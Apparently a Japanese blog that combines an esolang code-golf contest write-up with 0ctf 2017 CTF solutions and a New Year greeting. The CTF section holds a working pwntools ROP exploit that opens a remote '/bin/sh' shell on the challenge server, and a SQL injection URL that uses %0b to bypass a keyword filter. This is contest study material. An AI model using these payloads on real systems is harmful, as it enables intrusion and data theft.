p-=v
c-=A
p-=p
A-=A
A-=48
A-=n
o-=A
u-=1
c-=15
p-=p
l-=1
c-=38

(337bytes)

まぁこれを見てわかる人は少ないと思うので、このコードを生成したスクリプトminus/solve.pyです。

Emmental

　僕が言語仕様を捉えきれずに解いてしまった言語です。おそらくもっとずっと短くなるはずのコードについて説明します。

　まず、Emmentalに関してはkimiyukiさんのブログに詳しいので割愛します。良い言語らしいのですが、数字を変数として扱うと突然どっかへ飛んで行ってしまったり、そもそもデバッグがしづらい、僕の技量が足りない、等の理由であんまり短くすることを諦めました。

　そもそもこの言語、文字列は#[Ascii code]という形でスタックにpushするのですが、関数定義はコードとして評価可能な文字列を変数に代入することで行います。すると、手でコードを生成しようとすると#.. #..を無限に打つハメになりさすがにダメです。これに関しては、kimiyukiさんのブログでも指摘されている通り、大体表現を用いて後からcodeをトランスパイル的なことをすれば良いというになります。 　 　そのためのコードが、emmental/transolator.pyです。これを用いると、「; 'v'^'$ 'z!」（rotate関数）のように書いたコードを、トランスパイルすると'[文字]の部分が、#[ascii code]化されて「;#118#94#36#77!」となります。さらに、追加機能で「;'(ABC)!」とすると（これ再帰表現には対応していないですが）、「;'A'B'C!」と展開されるような機能もついています。これで少しコードが書きやすくなります。

方針 バケツソート

　 　この言語でもバケツソートを用いました（この言語は比較処理が強くないので適切なはず）。しかし書いた解法どちらにもコーナーケースが存在しました。特に二つ目に関しては5回に1回くらいしか通らないゴミです。そして、一つ目と本質部分は変わらないので、一つ目だけ少し書きます。

　この言語、メモリがrotate可能です（queue型）。すると、読み込み部分は楽にかけます。

// push functions
;'(v#1+^$rrrrrrrrr)#65!
;'(rv#1+^$rrrrrrrr)#66!
;'(rrv#1+^$rrrrrrr)#67!
;'(rrrv#1+^$rrrrrr)#68!
;'(rrrrv#1+^$rrrrr)#69!
;'(rrrrrv#1+^$rrrr)#70!
;'(rrrrrrv#1+^$rrr)#71!
;'(rrrrrrrv#1+^$rr)#72!
;'(rrrrrrrrv#1+^$r)#73!
;'(rrrrrrrrrv#1+^$)#74!

// read 100 times
;','#'1'7'+'?'t!
tttttttttt
tttttttttt
tttttttttt
tttttttttt
tttttttttt
tttttttttt
tttttttttt
tttttttttt
tttttttttt
tttttttttt

(rはrotate)

お察しの通り、読み込んだ文字に17を足して（これを数字のままマッピングするとバグる）、大文字のアルファベットにマップし、queueをうまいこと回転させてバケツに入れます。

　問題はこの後で、この言語、条件分岐はなく、関数名のマッピングで、飛ぶ先をうまく操作する必要があります（だから条件分岐がないわけではないが）。

　この言語ではこれを達成するため（？）に、logxという関数があります。この使い方に関してはkimiyukiさんのブログに少し書いてあります。これはPythonで言うところの、floor(log(x,2))とほぼ同じのはずです。ただし、log(0)は8になったりなど、ちょっと急いでいる（相手チームも取れるマスだった）ときに理解がうまく走らなかったので、仕方なく愚直解を書きました。

; '#'4'8'.'p!
;'p'#'1'-':'#'6'5'+'?'l!

; '*'A!
; 'l'B!
; 'l'C!
; 'l'D!
; 'l'E!
; 'l'F!
; 'l'G!
; 'l'H!
; 'l'I!
; 'l'J!
; 'l'K!
; 'l'L!
; 'l'M!
; 'l'N!
; 'l'O!
; 'l'P!
v:#65+?

具体的にはこうです（これは0の場合）。バケツが1以上の時は、lに行き、0の時にnopをするようなsled的なものを作り、対処しました。まぁ動きます（自明なコーナーケースがありますがそんなには落ちません）。

　残る問題として、これを0~9全部について書かなければいけないということです。予定では、このl-sledとも呼ぶべきA~Pの関数群は、定義されたタイミングでのlに飛ぶようになっているようで、次に新しく1のためのlを定義すると、また新しくこのsledを作る必要があります（今気づいたんですが、文字を表すシンボルを外部においておいて、それを参照するようにすれば、lを再定義する必要がなくなる気がしますが、当時はそういう発想はありませんでした）。

　結果、コードが、2844bytesになります。一応完成コードemmental/code1, とトランスパイル前emmental/solve1です。

　さすがに短くできるだろうと、この後ループ等に挑戦するもうまくいかず結果として生成されたコーナーケースだらけコードが、emmental/solve2です。一応1838bytesになりますが、こんなものは参考記録です。

Beam

　世の中には、Befungeなどに代表されるtwo dimensional languagesというものが存在します。普通の言語は、通常、一行一行が上から下へ、そして、各行は左から右へ実行されるのが常識だと思います。しかし、この手の「二次元プログラミング言語」（どう訳されるのか知りませんが）は、プログラムが２次元の格子状にマッピングされ、プログラムのされかたによって、インストラクションポインタが縦横無尽に格子上を駆け巡ります。

　では、このBeamという言語の仕様について簡単に説明します。詳しい仕様は、Esolang Wikiに書いてあります。

　この言語の特徴は、beamとstoreと呼ばれる二つのレジスタです。プログラムの進行の制御はこの二つのレジスタを介して達成されます。

　基本骨格としては、>^<vを使ってプログラムの進行をぐるぐると回してループをさせつつ、条件分岐をする、ということになります。 　 　しかし、ここで一つ問題があって、よくあるBrainfuckなどの無限長メモリがある言語では多くの場合、初期値として無限長のメモリに0が代入されている、という仕様になっているはずです。しかし、Beamでは初期にはメモリは長さ0の配列という形になっていて、ここで値を参照するとUndefinedになります（予定では0）。Beamの仕様を詳しく読んでいないので、実はBeamの実装が正しくないという可能性（しばしばesolangの実装は仕様と異なる時がある）があるのですが、このために、最初に使う範囲のメモリを0でfillするという作業を加えました。 　その部分が

 P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'v
vP'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'P'<
>`````````````````````````````v
v`````````````````````````````<

ここです。そして、100回入力を読み込みます。これはEOFまで読み込むはずです。

>>    rg'sSv
 ^         )
v         L<

あとは、0~9についてはループを書いても良さそうだったんですが、相手陣地から遠いということもあって、愚直に全部とりあえず書きました（そして奪い返されなかったのでこのままになった）。

v s<
g
(@`^
+

これが表示部分（のひとつ）です。最終的なコードはbeam/codeです(418bytes)。かなり書きやすい言語だったという印象です。

Minimal-2D

　 　これも「二次元プログラミング言語」の一つです。しかもこの言語、コマンドが非常に少ないのが特徴で、11個しかありません。Esolang Wikiに詳しい言語仕様が書いてありますが、簡単に各命令について書きます。

記号	内容
>	メモリベースポインタを一つ右にずらす
<	メモリベースポインタを一つ左にずらす
U	プログラムの進行を上向きへ
D	プログラムの進行を下向きへ｜
L	プログラムの進行を左向きへ｜
R	プログラムの進行を右向きへ｜
/	ベースポインタが指すメモリの値が0ならば次の命令を無視する
+	現在のベースポインタが指すメモリの値を1増やす
-	現在のベースポインタが指すメモリの値を1減らす
.	ベースポインタが指す値を出力
,	入力をベースポインタが指すメモリに書き込む

これだけです。インストラクションポインタをぐるぐると回してループをしつつ、条件分岐を/で行うのが骨格となります。また、メモリがスタックではなくポインタで参照なので、この点にも留意が必要です。

方針

　 　これもバケツソートです。こういうスタック型でない言語はバケツソートが書きやすいので、多分適しています（書きやすいから、適するは真か？）。

　実はこの言語は、相手陣地から遠く離れたところにあって、競争を免れていたので、あまり短くする努力をしませんでした。なので、コード自体は非常に見やすいものとなっていますが、良いコードかは保証しません。

<++++++++++++++++++++++++D
D>+++++++++++++++++++++++L
R++++++++++++++++++++++++++++++++++++++++++++++++++ D
 D++++++++++++++++++++++++++++++++++++++++++++++++++L
 R>,------------------------D
   D------------------------L
   R/D >+<                                            D
     R-/D  >> + <<                                    D
        R-/D >>> + <<<                                D
           R-/D  >>>> + <<<<                          D
              R-/D >>>>> + <<<<<                      D
                 R-/D >>>>>> + <<<<<<                 D
                    R-/D >>>>>>> + <<<<<<<            D
                       R-/D >>>>>>>> + <<<<<<<<       D
                          R-/D >>>>>>>>> + <<<<<<<<<  D
                             R-/D>>>>>>>>>>+<<<<<<<<<<D
DU/ -<                                                L
R<<+>>>R<<<.>>>-/D<<<+>>>>R<<<<.>>>>-/D<<<<+>>>>>R<<<<<.>>>>>-/D<<<<<+>>>>>>R<<<<<<.>>>>>>-/D<<<<<<+>>>>>>>R<<<<<<<.>>>>>>>-/D<<<<<<<+>>>>>>>>R<<<<<<<<.>>>>>>>>-/D<<<<<<<<+>>>>>>>>>R<<<<<<<<<.>>>>>>>>>-/D<<<<<<<<<+>>>>>>>>>>R<<<<<<<<<<.>>>>>>>>>>-/D<<<<<<<<<<+>>>>>>>>>>>R<<<<<<<<<<<.>>>>>>>>>>>-/D<<<<<<<<<<<+>>>>>>>>>>>>R<<<<<<<<<<<<.>>>>>>>>>>>>-/D
       U         L        U           L          U             L            U               L              U                 L                U                   L                  U                     L                    U                       L                      U                         L                        U                           L

(1542 bytes, )

brainfuck同様、大きな数（100とか）の初期化はループを用いて短くできるなどのテクはこの言語でも有効ですが、短くする必要がなさそうだったのでしていません。

　やっていることは100文字読み込んで、メモリに配置したバケツに入れ、その後一番下の長い長い（ここもちゃんとループを書けば短くなるはず）部分で、それぞれの文字を吐き出しています。力技です。

(Brainfuck)

　最初に800bytes超えのコードを出して喜んでたらその夜くらいに、daiさんが36bytesとかいう意味不明すぎる解答を提出して、驚きを通り越して笑ってしまいました。おわり。

Golf言語たち

　Golf言語たちは、ググってドキュメントをあたれば大体わかります。そして入力を受け取ってソートをするというような処理は、非常に短い文字数で達成できます。大体sortのSに近いワードが割り当てられてるのでエスパーでも当てられるきもします。

MATL

jS

CJam

q$

05ab1e

I{

2sable

I{

（実は2sableと05ab1eは両方、{でいけるんですねこれが（何故競技中お互い気づかなかったのか））

Jelly

ɠṢ

Stuck

s$

実用言語たち

　みんな大好きPython、Octave、C（これはsatosさんに抜かれた）、C#（これはliesegangさんに抜かれた）、D（これはkurgmさんに抜かれた）。

　Anarchy Golfのネタバレにもなりますし（Anarchy Golfより短いものができているのならまだしも）、コードを出すまでもないので（まあPythonとか大したコードでもないので）、スルーします。

　C言語に関しては、多分環境がAnarchy Golfと違うので結構長いコードになってしまっているのですが、これもまた面白かったです。C言語の最初のCorrect Answerが112bytesでここから、多分５〜７個くらいの発想の追加で、57bytesになりました。C言語は本当に奥が深いです。

Cubix(解けなかったけど紹介)

　これ終了２時間前くらいに解こうと決意して、結局解き終わらず、今も解けていないんですが、非常に興味深い言語です。言語仕様は、Befunge, Labyrinthや今回解いたMinimal 2D, Beamのような2次元に書くプログラミング言語の一種なのですが、なんと意味不明なことに、それを立方体の表面に貼り付けるというのです。

　これでショートコーディングをするということは、論理的な力だけでなく、立体把握能力さえも問われるという、非常に脳みそ破壊的言語なわけです。もはやこれだけで大会を開けるのではないか、というレベルです。 　

終わりに

　ここまで読んでくれた方はいないでしょうが、esolangは非常に楽しいので、つい時間を溶かしてしまってさらにはポエムまで書いてしまう怖さがあるなぁ、ということがわかります。

　特に、esolangでショートコーディングするにあたって「言語仕様を理解し、それに合った実装を行う」というステップはパズルのようでかなりはまります。是非今後もやっていきたいという感じです。

0ctf 2017

char

ropできるんだけど、送りこめるデータが識字可能文字だけ、という問題。rop用にlibcが0x5555e000あたりにロードされる。まぁ、ある意味頑張ればできる問題なので、solverは結構いた。

方針は、/bin/shのアドレス(0x556bb7ec)自体は、ロード不可能な文字列を含むので、それに近くてロード可能なアドレスである0x556b7e7eをebxにロードし、ebxに0x396eを足す。そして、システムコールexecve(ebx=“/bin/sh”, ecx = [“/bin/sh”, NULL], edx=0)の状態を作る。

しかし、一度作ったebxのアドレスをecxにコピーする手段が思いつかなかったので、eaxにもう一つ作って（今度は0x556b7e39をロードしてah + alしてal+0x35)、[edx] に書き込んだ。ここで、なぜか（理由はなんにせよ）ecxとedxがrop開始時に同じアドレスを指していることを利用した。

# coding:utf-8

from __future__ import print_function
from pwn import *

shellcode = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdef"
shellcode += "(0dU"             # pop ebx
shellcode += "~~kU"             # addr(0x556b7e7e)
shellcode += "7zaU"             # mov eax, 0x20
shellcode += "cBdU"*0x19        # inc eax    0x19 times
shellcode += "`(mU"             # add ah, al
shellcode += "cBdU"*0x35        # inc eax    0x35 times
shellcode += "CNcU"             # add bh, ah
shellcode += ">d_U"             # add bl, al
shellcode += "_mgU"             # pop eax; add esp, 0x5c
shellcode += "9~KU"             # addr(0x556b7e39)
shellcode += "A" * 0x5c         # dummy
shellcode += "`(mU"             # add ah, al
shellcode += "cBdU"*0x35        # inc eax    0x35 times
shellcode += "r{^U"             # mov dword [edx], eax; ea eax, dword [edx+0x03]
shellcode += "z-dU"*0x4         # inc edx; xor eax, eax -> edx +4
shellcode += "r{^U"             # mov dword [edx], eax; ea eax, dword [edx+0x03]
shellcode += "?yaU"             # mov edx, 0xffffffff
shellcode += "z-dU"             # inc edx; xor eax, eax
shellcode += "cBdU"*0xb         # inc eax     0xb times
shellcode += "wqfU"             # int 0x80

print(shellcode)

host = "202.120.7.214"
port = 23222
r = remote(host, port)
r.recvuntil("GO : )")
r.sendline(shellcode)
r.interactive()

# ref
# https://www.goto.info.waseda.ac.jp/~kiire/bin/rop.php
# http://qiita.com/kusano_k/items/ce48945f9ee8763edd1c

py

これも頑張ればできる問題。solverも多かった。pycが渡されるが、なぜかopecodeを入れ替えたらしい（意味不明）。ただ、入れ替えたのはopcodeのみで、opcodeが使う変数などのindexはいじられていないので、opcodeが70以上かどうかは見ればすぐわかるし、ソースコードが短いので、だいたい雰囲気はつかめる。また、ロードしている変数名から、rotorというライブラリを使っているらしいこともわかるのであとは気合を出す。decrypt関数だけ復元したものが次。<39>が、strとintの演算子でずっと[]のどれかだと思っていたのでつらい

def decrypt(data):
    key_a = "!@#$%^&*"
    key_b = "abcdefgh"
    key_c = '<>{}:"'
    key = key_a * 4 + "|" + (key_b + key_a + key_c)*2 + "|" + key_b*2 + "EOF"
    secret = rotor.newrotor(key)
    return secret.decrypt(data)

simplesqlin

まぁ、これは。solver300人くらいいた気がする。%0bを入れると避けられることをtotemさんが教えてどこかへ行ってしまったので、解いた。

http://202.120.7.203/index.php?id=5 union SE%0bLECT 0,0,flag FRO%0bM flag

暇だったので参加したけれど、各位は忙しそうだったので、daiさんと二人での参加に（ほぼ）なった。二日間あったけど、結局最終日の夜あたりが一番やっていた。２日あっても集中できるのは１日もないということなので、CTFは１日でよいという気持ちになった

あけましておめでとうございます

あけましておめでとうございます。年賀状情報です。

描いたのはStarryというプログラミング言語です。某esolang大会のときに、@kurgm氏が解いていた言語で、これがまさに星空のようで美しく、割と個人的に気に入りました。

今年もよろしくお願いします。